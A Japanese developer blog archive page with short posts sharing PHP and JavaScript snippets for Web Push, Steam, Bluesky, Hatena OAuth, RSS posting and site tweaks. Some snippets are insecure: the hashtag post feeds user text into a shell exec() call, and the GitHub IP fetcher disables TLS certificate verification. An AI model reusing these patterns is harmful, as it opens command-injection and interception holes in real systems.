webpushのLaravelを使用しないパターンを箇条書き、フロントエンド側は

2024.11.14

Logging

おはようございます.webpushのLaravelを使用しないパターンを箇条書き、フロントエンドは過去記事を参照ください.まずwebpushを使用するにはパブリックキーとシークレットキーが必要になります.下記のURLより発行してみてください.

https://web-push-codelab.glitch.me

フロントエンド側でサービスワーカーの登録された識別データをバックエンドに送信.

// db.php: データベース接続の設定
function getDbConnection() {
    $host = 'localhost';
    $dbname = 'your_database';
    $username = 'your_username';
    $password = 'your_password';

    try {
        $pdo = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $pdo;
    } catch (PDOException $e) {
        die("DB接続エラー: " . $e->getMessage());
    }
}

// endpoint_register.php: エンドポイントをデータベースに登録
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $endpoint = $_POST['endpoint'];
    $auth = $_POST['auth'];
    $p256dh = $_POST['p256dh'];

    if ($endpoint && $auth && $p256dh) {
        $pdo = getDbConnection();
        $stmt = $pdo->prepare("INSERT INTO push_subscriptions (endpoint, auth, p256dh) VALUES (?, ?, ?)");
        $stmt->execute([$endpoint, $auth, $p256dh]);
        echo "登録成功";
    } else {
        echo "エンドポイントデータが不完全です";
    }
}

バックエンド側で下記のようなコードでデータを保存します.

次にminishlink/web-pushというライブラリを使用し登録されたデータを元に送信処理を行います.

composer require minishlink/web-push
// message_send.php: データベースからエンドポイントを取得し、プッシュ通知を送信
require 'db.php';
require 'vendor/autoload.php';

use Minishlink\WebPush\WebPush;
use Minishlink\WebPush\Subscription;

// VAPIDキーの設定
$auth = [
    'VAPID' => [
        'subject' => 'https://example.com',
        'publicKey' => 'YOUR_PUBLIC_VAPID_KEY',
        'privateKey' => 'YOUR_PRIVATE_VAPID_KEY',
    ],
];

$webPush = new WebPush($auth);

// データベースからサブスクリプション情報を取得
$pdo = getDbConnection();
$stmt = $pdo->query("SELECT endpoint, auth, p256dh FROM push_subscriptions");
$subscriptions = $stmt->fetchAll(PDO::FETCH_ASSOC);

foreach ($subscriptions as $sub) {
    $subscription = Subscription::create([
        'endpoint' => $sub['endpoint'],
        'publicKey' => $sub['p256dh'],
        'authToken' => $sub['auth'],
    ]);

    // 送信するメッセージ
    $message = json_encode(['title' => '通知タイトル', 'body' => 'メッセージ内容']);

    // プッシュ通知の送信
    $webPush->sendNotification($subscription, $message);
}

// 送信キューの実行
foreach ($webPush->flush() as $report) {
    $endpoint = $report->getRequest()->getUri()->__toString();

    if ($report->isSuccess()) {
        echo "成功: {$endpoint}\n";
    } else {
        echo "失敗: {$endpoint}: {$report->getReason()}\n";
    }
}

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

$stmt, catch, endpoint, FETCH_ASSOC, foreach, getDbConnection, getMessage, Laravel, minishlink, MYSQL, PDO, PDOException, prepare, query, setAttribute, subscription, VALUES, vendor, Webpush, シークレットキー,

文字の背景に色を付ける.ハイライトを追加してみました.#即興コード.

2024.10.22

Logging

おはようございます.文字の背景に色を付ける=ハイライトを追加してみました.付けた結果、ちょっとごちゃごちゃしている感はありますが、文章の目を引くことになるのかなと思っています、ちなみにハイライトをつけようと思ったきっかけはこのサイトを見て思いました.

思ってから実行に移すのは「思い立ったが吉日」タイプなので直ぐに手を動かすして書きました.

それほど対したコードではないものの.WordPressの記事の文章内にタグを基にして今回のようにハイライトを付けたり太文字にと思っている人は一定数いると思ったので何かの参考にしてみてください.

ソースコードはバニラJS(javascript)とCSSになります.

if (maincontent = document.querySelectorAll('#main_content > p')) {
    let words = [...document.querySelectorAll('.zip358tag > a')].map((elm) => {
        return elm.textContent;
    });
    if (words.length) {
        [...maincontent].forEach((maincontentElm) => {
            words.forEach((word) => {
                const regexp = new RegExp(word, 'g');
                if (maincontentElm.querySelectorAll('a').length === 0 && maincontentElm.querySelectorAll('img').length === 0) {
                    maincontentElm.innerHTML = maincontentElm.innerHTML.replace(regexp, '<strong class="highlight">' + word + '</strong>');
                } else {
                    nodeReplace(maincontentElm, regexp, words, word);
                }
            });
        });
    }
}

function nodeReplace(elm, regexp, words, word) {
    let key = [];
    if (elm.querySelectorAll('a').length) {
        [...elm.querySelectorAll('a')].forEach((e) => {
            key.push(e.outerHTML);
        });
    }
    if (elm.querySelectorAll('img').length) {
        [...elm.querySelectorAll('img')].forEach((e) => {
            key.push(e.outerHTML);
        });
    }

    if (nodeElmJudge(word, key) === true) {
        elm.innerHTML = elm.innerHTML.replace(regexp, '<strong class="highlight">' + word + '</strong>');
    }
}

function nodeElmJudge(word, key) {

    let result = [];
    result.push(...key.map(element => {
        const regex = new RegExp(word, 'g');
        return regex.test(element);
    }));
    return result.every(e => e === false);
}
strong.highlight{
    background: linear-gradient(transparent 40%, #2ff6da 40%);
}

明日へ続く.

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

background, document.querySelectorAll, element, elm, foreach, innerHTML, linear-gradient, lt, maincontent, maincontentElm, nodeElmJudge, nodeReplace, querySelectorAll, quot, RegExp, result.push, textContent, words, words.forEach, words.length,

githubのIPアドレスを取得したい方へ送るコード.

2024.10.06

Logging

おはようございます.以前、さくらレンタルサーバーにデプロイするためにGithubのIPアドレスを許可しなくては成らなくなり下記のコードを作りました.今回はそのコードのお裾分けです.Githubは使用されているIPアドレスをJsonデータとして公開しているので、そのJSONデータを取得するPHPコードです.

大したコードではないものの、ユーザーエージェントが無いと取得できないのでそこは気おつけてください.それはfile_get_contentsでも同様ですのでお気をつけください.

ソースコードは下記になります.尚、IPアドレスは下記のページから参照可能となります.

https://zip358.com/tool/github-ip-address

class githubIpAddress
{
    public $url = 'https://api.github.com/meta';
    public function getIpAddress($key)
    {
        $data = [];
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $this->url);
        curl_setopt($curl, CURLOPT_USERAGENT, 'getgithubaddress');
        curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'GET');
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

        $obj = json_decode(@curl_exec($curl));

        if ($obj?->$key) {
            foreach ($obj?->$key as $val) {
                $data[] = $val;
            }
        }
        curl_close($curl);
        return $data;
    }

    public function saveIpAddress($key, $data)
    {
        $filename = "data/{$key}-ip-address.txt";
        file_put_contents($filename, implode("\n",$data));
        return $filename;
    }
}

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

curl, curl_close, curl_exec, curl_init, curl_setopt, false, filename, foreach, github, gt, implode, ip-address.txt&quot, json_decode, obj, quot, quot;data, return, true, val, ユーザーエージェント,

号外NETの記事タイトルをポストするようにコードを組みました.tosajin.info

2024.10.02

Logging

おはようございます.号外サイト記事タイトルをポストするようにコードを組みました.これによって少しは高知県の人に貢献できたのではと思っています.この号外NETというサイトはとても良いです.新しいお店の紹介などが逐次わかるというのは良い感じですよね.

因みにソースコードはこんな感じになります.これをLaravelのスケジュールを使用して叩いている形になります.ポストするコードに関してはご自身で考えて作らないとポストすることは出来ないです.

    /**
     * Execute the job.
     */
    public function handle(): void
    {
        $xmlobj = @simplexml_load_file('https://kochi.goguynet.jp/feed/');
        if($xmlobj?->channel?->item){
            $str = [];
            foreach($xmlobj->channel->item as $key=>$val){
                if($this->dateCheck($val->pubDate)){
                    $str[] = "{$val->title}
{$val->guid}
引用元:号外NET 高知市
                    ";
                }else{
                    break;
                }
            }
            $str = array_reverse($str);
            if(count($str)){
                $TwitterController = new TwitterController();
                foreach($str as $val){
                    $TwitterController->tweet($val);
                }
            }
        }
    }

    private function dateCheck($inputDate)
    {
        $inputDateTime = new DateTime($inputDate);
        $inputDateTime->setTimezone(new DateTimeZone('UTC')); // UTCに合わせる
        
        // 現在の日付(UTC)
        $currentDateTime = new DateTime('now', new DateTimeZone('UTC'));
        
        // 今日の日付を取得
        $today = $currentDateTime->format('Y-m-d');
        
        // 昨日の日付を取得
        $yesterday = $currentDateTime->modify('-5 day')->format('Y-m-d');
        
        // 入力された日付のフォーマット
        $inputDateFormatted = $inputDateTime->format('Y-m-d');
        
        // 比較
        if ($inputDateFormatted === $today || $inputDateFormatted > $yesterday) {
            return true;
        }
        return false;
    }

Xなどにポストするにはライブラリを使用してポストすることが簡単だと思っていますが、それが難しいという方は生成AIを使用してクラス化したXにポストするPHPコードを書いてと指示をすればコードを書いてくれると思います.

ちなみにこのソースコードは高知県の号外に特化したコードになります.

明日へ続く.

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

array_reverse, break, count, dateCheck, else, foreach, format, gt, guid, item, Laravel, modify, pubDate, quot, setTimezone, Tweet, val, void, yesterday, 号外,

Photo by Pixabay on Pexels.com

steamのAPIを使用して積みゲーを調べてみました.積みゲー有り

2024.08.27

Logging

おはようございます.xAIの申請に通らなかったので来月のQiitaの投稿を何にしようかなと考えてた所、ふと積みゲーのことが頭に浮かんできたので、Steam APIとかあるのかなと調べてみました.そしたらAPIが在ったのでさっそく作ってみました.

ソースコードはgithubにもあげているので試してみてください.こちらのソースコードをコピペするよりお手軽ですよ.

https://github.com/taoka3/steam/tree/main

<?php
require 'config.php';

class steam
{

    public $result;

    public function getOwnedGames($urls = 'http://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?')
    {
        $params = http_build_query([
            'key'=>APIKEY,
            'steamid'=>STEAMID,
            'include_appinfo'=>1,
            'include_played_free_games'=>0,
            //'appids_filter'=>''
        ]);
         $this->result = file_get_contents($urls.$params,true);
         return $this;
    }

    public function viewOwnedGames()
    {
        $data = json_decode($this->result);
        
        foreach($data->response->games as $val){
            $tumiGames = (int)$val->playtime_forever === 0?' [積みゲー]':'';
            printf('ゲーム名:%s プレイ時間:%02d時%02d分%s<br>',$val->name,(int)($val->playtime_forever / 60),(int)($val->playtime_forever % 60),$tumiGames);
        }
        return $this;
    }
}

(new steam)->getOwnedGames()->viewOwnedGames();

    

因みに実行結果は下記になります.

明日へ続く.

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

$params, APIKEY, foreach, getOwnedGames, github, gt, int, json_decode, lt, php require, printf, public, qiita, response, result, return, STEAMID, URLs, val, xAI,

【お知らせ】JavaScriptで背景色の変更が出来るようになりました.

2024.07.05

Logging

おはようございます.【お知らせ】JavaScriptで背景色の変更が出来るようになりました.リロードしても画面の状態を維持するようになっています.因みにこれ、IPアドレスとかいうモノをこちらで取得して判断している訳ではありません.

ユーザーのブラウザの中の保存領域(のが多いw)にカラー色を保存するようになっています.なので、同ブラウザで見るとご自身が選択したカラー色で表示されるようになってます.要するに2015年?あたりから、各ブラウザにデータを保存出来る機能が追加されました.その機能をJS(javascript)言語で呼び出して使用できるようになっているのです.

このメリットはプライバシーが担保出来るということです.ユーザー側でデータを保持しているので消す事も可能ですし、どんなデータを保存しているのかもブラウザの検証項目のアプリケーション、ローカルストレージと進めば確認することが可能です.

因みにソース・コードはこちらです.


if(localStorage.getItem('zcolor')){
    document.body.style.backgroundColor = localStorage.getItem('zcolor');
}
if(document.querySelectorAll('#zcolors > .zcolor')){
    [...document.querySelectorAll('#zcolors > .zcolor')].forEach(elm=>{
        elm.addEventListener('click',(e)=>{
            let color = elm.getAttribute('data-zcolor');
            localStorage.setItem('zcolor',color);
            document.body.style.backgroundColor = color;
        });
    });
}

明日へ続く.

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

body.style.backgroundColor, color, data-zcolor&#39, document.querySelectorAll, elm, elm.addEventListener, elm.getAttribute, foreach, gt, if, javascript, JS, let color, localStorage, localStorage.getItem, zcolors, アプリケーション, ローカルストレージ, 担保,

【#はてなAPI認証】【#不完全なコード】このコードは機能しません.

2024.07.03

Logging

おはようございます.久々にAPI認証で躓いています.この頃は躓いたことがなかったのですがはてなAPI認証で躓いております.エラー内容があまりにもアバウト過ぎて何処の項目でエラーになっているのかがわからない感じです.分かった方はコメント欄にコメント頂けたらと思っています.宜しくお願い致します.

oauthSignatureを作っているところでコケているぽっいと思っているのですが、それが正しいのかどうかも定かではないです.近日中にcurlから参考にしているような方法に変えてみようと思っています.

参考にしたサイトはQiitaの質問に記載していますので良かったら覗いてみてください.

<?php
ini_set('display_errors', 1);
require '../config/config.php';

class hatena
{
    public $oauthCallback = OAUTH_CALLBACK;
    public $oauthConsumerKey = OAUTH_CONSUMER_KEY;
    public $oauthConsumeSecret = OAUTH_CONSUMER_SECRET;
    public $oauthNonce = '';
    public $oauthSignature = null;
    public $oauthSignatureMethod = "HMAC-SHA1";
    public $oauthTimestamp = '';
    public $oauthVersion = "1.0";
    public $contentType = 'application/x-www-form-urlencoded';
    public $oauthParameters = [];

    public function oauthInitiate()
    {

        $url = 'https://www.hatena.com/oauth/initiate';
        $this->oauthNonce = uniqid();
        $this->oauthTimestamp = time();

        $this->oauthParameters = [
            'oauth_consumer_key' => rawurlencode($this->oauthConsumerKey),
            'oauth_nonce' => rawurlencode($this->oauthNonce),
            'oauth_signature_method' => rawurlencode($this->oauthSignatureMethod),
            'oauth_timestamp' => rawurlencode($this->oauthTimestamp),
        ];


        $params = [
            'scope' => 'read_public,write_public,read_private,write_private'
        ];

        $this->getSignature($url, 'POST', $params);
        $this->oauthParameters['oauth_signature'] = rawurlencode($this->oauthSignature);

        $ch = curl_init($url);

        $headers = [ //'.$this->oauthParameters['realm'].'
            'Authorization: OAuth realm="",oauth_callback="' .  rawurlencode($this->oauthCallback) . '",oauth_consumer_key="' . $this->oauthParameters['oauth_consumer_key'] . '",oauth_nonce="' . $this->oauthParameters['oauth_nonce'] . '",oauth_signature="' . $this->oauthParameters['oauth_signature'] . '",oauth_signature_method="' . $this->oauthParameters['oauth_signature_method'] . '",oauth_timestamp="' . $this->oauthParameters['oauth_timestamp'] . '",oauth_version="1.0"',
            'Content-Type: ' . $this->contentType,
            'Content-Length: ' . (string)strlen($this->contentType)
        ];


        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        $response = curl_exec($ch);
        if (curl_error($ch)) {
            echo 'Curl error: ' . curl_error($ch);
        }
        parse_str($response, $response_params);
        var_dump($response_params);
        curl_close($ch);

        return $this;
    }

    public function getSignature($url, $method = 'POST', $params = [], $oauthTokenSecret = '')
    {

        foreach($params as $key=>$value){
            $params[$key] = rawurlencode($value);
        }
        $hasBase = http_build_query($this->oauthsort(array_merge($this->oauthParameters, $params)), '', '&', PHP_QUERY_RFC3986);

        $signingKey = implode('&', [rawurlencode($this->oauthConsumeSecret), rawurlencode($oauthTokenSecret)]);
        $baseString = implode('&', [
            rawurlencode($method),
            rawurlencode($url),
            $hasBase,
        ]);

        $signature = hash_hmac('sha1', $baseString, $signingKey, true);
        $signature = base64_encode($signature);
        $this->oauthSignature = $signature;

        return $this;
    }
    //OAuth式 パラメータのソート関数
    public function oauthsort($a)
    {
        $b = array_map(null, array_keys($a), $a);
        usort($b, ['hatena', 'oauthcmp']);
        $c = array();
        foreach ($b as $v) {
            $c[$v[0]] = $v[1];
        }

        return $c;
    }
    public function oauthcmp($a, $b)
    {
        return strcmp($a[0], $b[0])
            ? strcmp(rawurlencode($a[0]), rawurlencode($b[0]))
            : strcmp(rawurlencode($a[1]), rawurlencode($b[1]));
    }
}

(new hatena)->oauthInitiate();

こちらでも解決策を模索してみます.解決出来れば追記したいと思っています.

追記::解決出来ました.

明日へ続く.

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

application, Authorization, Content-Length, contentType, curl, foreach, getSignature, implode, oauthConsumerKey, oauthConsumeSecret, oauthParameters, oauthSignature, oauthSignatureMethod, oauthsort, oauthTimestamp, Qitta, rawurlencode, string, strlen, uniqid,

定番javascript、右クリックを禁止するあのコード.

2024.06.28

Logging

おはようございます、定番javascript、右クリックを禁止するあのコードを自分のサイトにも導入しました.因みにJSをOFFにするとリダイレクトページへ飛ぶ仕様になっているので右クリックから画像保存とかは出来ない感じになりました.スマホでどういう挙動になるのかは知らないけども.

  if(document.querySelector('video')){
    let elm = document.querySelectorAll('video');
    [...elm].forEach(el=>nocontextmenu(el));
  }
  if(document.querySelector('img')){
    let elm = document.querySelectorAll('img');
    [...elm].forEach(el=>nocontextmenu(el));
  }

  function nocontextmenu(elm){
    elm.addEventListener('contextmenu',function(event){
      event.preventDefault();
    });
  }

今まで画像保存とかしていた人はソースコードからURLを導き出して画像保存とかを行っても良いですが画像などの二次配布などは禁止しています.

尚、当たり前ですが上記のソースコードの可変などはOKです.

追伸:スマホはCSSで対応

video,img{
  -webkit-touch-callout:none;
  -webkit-user-select:none;
  -moz-touch-callout:none;
  -moz-user-select:none;
  user-select:none;
}

明日へ続く.

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

document.querySelector, EL, elm, elm.addEventListener, EVENT, event.preventDefault, foreach, function, if, JS, moz-touch-callout, moz-user-select, nocontextmenu, none, querySelectorAll, user-select, webkit-touch-callout, webkit-user-select, リダイレクトページ, 追伸,

任意のディレクトリ連番を調べてURLを返却する.

2024.06.21

Logging

おはようございます、任意のディレクトリ連番を調べてURLを返却するPHP言語のコードです.このコードは昨日に書いた記事を読んで頂けたら分かると思いますが、ある配下のディレクトリ名が連番で名前付けしていたら、その連番のディレクトリを確認してindex.phpかindex.htmlが存在したらindexページを返却し無ければ、そのディレクトリ内にあるphpファイルのリンクアドレスを返却するようになっています.

<?php
class lists
{
    public $toolDir;
    public $toolUrl;

    public function __construct($toolDir = __DIR__ . '/../', $toolUrl = 'https://zip358.com/tool/')
    {
        $this->toolDir = $toolDir;
        $this->toolUrl = $toolUrl;
    }

    public function getList($dir = 'demo', $max = 999)
    {
        $response = [];

        for ($i = 0; $i <= $max; $i++) {
            $demoDir = $dir . ($i ?: '');
            if (file_exists($this->toolDir . $demoDir . '/index.php')) {
                $response[] = $this->toolUrl . $demoDir . '/';
            } elseif (file_exists($this->toolDir . $demoDir . '/index.html')) {
                $response[] = $this->toolUrl . $demoDir . '/';
            } else {
                $filelist = scandir($this->toolDir . $demoDir, 1);
                foreach ($filelist as $file) {
                    $fileInfo = pathinfo($file);
                    $basename = $fileInfo["basename"];
                    $filename = $fileInfo["filename"];
                    if ($basename != $filename && $fileInfo["extension"] == "php") {
                        $response[] = $this->toolUrl . $demoDir . '/' . $filename . '.php';
                    }
                }
            }
        }
        return $response;
    }
}
<?php
require 'lists.php';
$res = (new lists())->getList();

使用する場合はindex.php側を呼び出してご自身のディレクトリ構造とURLなどに合わしてご使用ください.尚、変数の$resには配列が返却されます.

明日へ続く.

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

$basename, construct, DIR, else, elseif, file_exists, filename, foreach, getList, gt, lt, pathinfo, php require, public, res, response, return, toolUrl, 連番, 配下,

PHP言語の素で自分もやってみた🙆

2024.06.16

Logging

おはようございます、素のPHP言語でストリーミングダウンロードしてみました.仕事でつい最近、そのような事をLaravelで行ったわけですけど、素のPHPではどんな感じであろうかと思ったのと株式会社Oさんのブログでもストリーミングダウンロードでメモリ不足解消という記事を見つけたので自分の知見で書いてみました.

<?php

class streamDownload
{
    public $flg = false;
    public $fileName = '';
    public $to_encoding = 'sjis';
    public $from_encoding = 'UTF-8';

    public function __construct($fileName,$to_encoding = 'sjis',$from_encoding = 'UTF-8')
    {
        $this->fileName = $fileName;
        return $this;
    }

    public function checkSplFileInfo()
    {
        if((new SplFileInfo($this->fileName))->getExtension() === 'csv'){
            $this->flg = true;
        }
        return $this;
    }

    public function download($data)
    {
        if(!$this->flg){
            return $this->flg;
        }

        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename='.$this->fileName);        
        $stream = fopen('php://output', 'w');
            foreach ($data as $row) {
                $row = mb_convert_encoding($row,$this->to_encoding,$this->from_encoding);
                fputcsv($stream, $row);
            }
        fclose($stream);
        exit;
    }
}

$data = [
    ['テスト1', '高知太郎', 'abc@example.com'],
    ['テスト2', '高知花子', 'def@example.com'],
    ['テスト3', '高知喜多郎', 'dev@example.com'],
];

(new streamDownload('test.csv'))->checkSplFileInfo()->download($data);

このコードはCSVファイルをエクセルで開くことを想定して記載しています.要のデータ処理はあのような配列で渡せば何万件もの処理でも基本落ちません.

なお要のデータ処理はご自身で考える必要があります、あくまでも雛形です.

明日へ続く.

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

$flg, abc@example.com, application, attachment, construct, Content-Disposition, def@example.com, download, exit, fclose, filename, fopen, foreach, getExtension, header, Laravel, octet-stream, ストリーミングダウンロード,

Photo by Victor Freitas on Pexels.com

文章を解析して#を付与して返却。

2024.03.04

Logging

おはようございます、文章を解析して#を付与して返却…Qiitaの丸コピです
SNSでの使用することを考えて作りました。文章を解析して名詞と形容詞の文字の先頭に#を付与して返却します😌。

レンタルサーバーでは動きませんがawsやgcp,vpsなどでは動く作りになっています。
作った経緯はこういうサービスが無かったので作りました?。

因みにexecの脆弱性が気になるところですので対応が必要かもです🙇。

※phpやPythonのインストールはご自身で行ってください。

#前処理 mecab-python3バージョンは1.0.8です
sudo apt-get install mecab libmecab-dev mecab-ipadic-utf8
sudo pip install mecab-python3
pip install unidic-lite
<?php
class sharpPost
{
    /**
     * mecab.pyを使って文章を解析(名詞と形容詞を取り出す)
     * @param $posstData
     * @return array|null
     */
    public function analysis($postData)
    {
        if(!$postData)return null;
        $word = null;
        exec('python py/mecab.py "'.strip_tags(htmlentities($postData)).'"',$output);// 2>&1
        if(is_array($output)){
            foreach($output as $val){
                $analysisWord = explode("\t",$val);
                if(isset($analysisWord[1]) && preg_match('/(名詞|形容詞)/',$analysisWord[1])){
                    $word[] = $analysisWord[0];
                    $word = array_unique($word);
                }
            }
        }
        return $word;
    }
    
    /**
     * 文字列を置き換える処理
     * @param $postData
     * @param $word|null
     * @return string
     */
    public function replacePostData($postData='',$word=null)
    {
        if(is_array($word)){
            foreach($word as $val){
                $postData = preg_replace("/({$val})/u"," #{$val} ",$postData);
            }
        }
        return $postData;
    }
}
$textData = '単なる自分が使いたい機能です、無かったので作ってみただけです。';
$sharpPost = new sharpPost();
$word = $sharpPost->analysis($textData);
print(($sharpPost->replacePostData($textData,$word)).PHP_EOL);
import MeCab
import sys
args = sys.argv
if(args[1]):
    tagger = MeCab.Tagger()
    print(tagger.parse(args[1]))

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

analysis, args, argv if, AWS, exec, explode, foreach, htmlentities, isset, PARAM, preg_match, preg_replace, print, qiita, quot, replacePostData, return, sharpPost, tagger, tagger.parse,

blueSky画像複数投稿API。

2024.02.04

Logging

おはようございます、QiitaにblueSky画像複数投稿を行うにはどうしたら良いですか😌と質問が来たので速攻で回答しました。わからないことは聞くしかないよね。大体の人は答えてくれないけど自分はヒントを与えてそれでもわからない場合は答えを渡す。これは昔、自分はその方が良いじゃないかって思っていたけども・・・・どうなんですかねぇ🤔。あまりその人の力にはならないかも。

やはり考える力が必要になる職業なんで、やっぱ闇雲に質問して答えを知っても力にならないじゃないかって思います。悪いことではないけれど技術を手に入れたければ、自分でライブラリのソースコードを読んで頑張らないと駄目なんだろうと思っています。

そうするしか、今も昔も技術力付かないし新人はいろいろな人が書いたソースコードを読むべしだとも思っています、コードを書くよりも読む方が大変です。それ乗り越えないとこの職業は難しい教えてもらうでは身につかないだよなぁ~。

一応、質問の回答のソースコードをこちらでも掲載しておきます。

<?php
require '../vendor/autoload.php';
require 'config.php';
use \potibm\Bluesky\BlueskyApi;
use \potibm\Bluesky\BlueskyPostService;
use \potibm\Bluesky\Feed\Post;

class bluesky
{
    private $api = null;
    private $postService = null;

    public function __construct()
    {
        $this->api = new BlueskyApi(USER_NAME, APP_PASSWORD);
        $this->postService = new BlueskyPostService($this->api);
    }

    /**
     * 簡単なテキスト投稿
     * @param $text
     * @return object
     */
    public function post($text)
    {
        $post = Post::create($text);
        $response = $this->api->createRecord($post);
        return $response;
    }

    /**
     * link付き投稿
     * @param $text
     * @param $url
     * @param $title
     * @param $description
     * @param $optionalimage|null
     * @return object
     */
    public function webPost($text,$url,$title,$description,$optionalimage=null)
    {
        $post = Post::create($text);
        $post = $this->postService->addWebsiteCard(
            $post, 
            $url, 
            $title, 
            $description,
            $optionalimage,
        );
        $response = $this->api->createRecord($post);
        return $response;
    }
    
    /**
     * 画像投稿
     * @param $text
     * @param $ImgLinkAndAltText
     * @return object
     */
    public function imagePost($text, $ImgLinkAndAltText=[])
    {
        $post = Post::create($text);
        $response = null;
        foreach($ImgLinkAndAltText as $val){
            $post = $this->postService->addImage(
                $post,
                $val['img'],
                $val['alt']
            );
        }
        $response = $this->api->createRecord($post);
        return $response;
    }
}
if($argv[0]){
    try {
        var_dump((new bluesky)->post('これはテスト投稿ですよ'));
        //var_dump((new bluesky)->imagePost('これは画像テスト投稿ですよ',[['img'=>'cron.png.webp','alt'=>'クロン'],['img'=>'Gotcha.png.webp','alt'=>'ガチャ']]));
        } catch (\Throwable $th) {
        print $th->getMessage();
        //throw $th;
    }
}

明日へ続く。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

addImage, addWebsiteCard, argv, catch, construct, createRecord, foreach, getMessage, imagePost, PARAM, postService, potibmBlueskyBlueskyApi, potibmBlueskyBlueskyPostService, print, qiita, require, throw, Throwable, use, vendor,

何かの役に立つ#bluesky

2024.01.29

Logging

おはようございます、QiitaにblueSkyのプロフィールURLからRSSを抽出するコードを書きました。先日、blueSkyにRSS機能を追加したという記事を読んだので、その日のうちに対応した形になります。

特に難しいコードでもないので、コメントは一切書いていませんが、それなりに役に立つと信じてリリースしました、ソースの改修などを行って頂けて構いませんが出来ればQiitaもしくはこちらの記事にリンクを貼っていただけたら幸いです。

PHP環境は8.2になっていますが、PHP7系でも動くソースコードなので安心してご使用いただけるかと思います。使用にあたって最終行はコメントアウトを行ってください、url変数も自分にあったurlに変えていただければと思います。
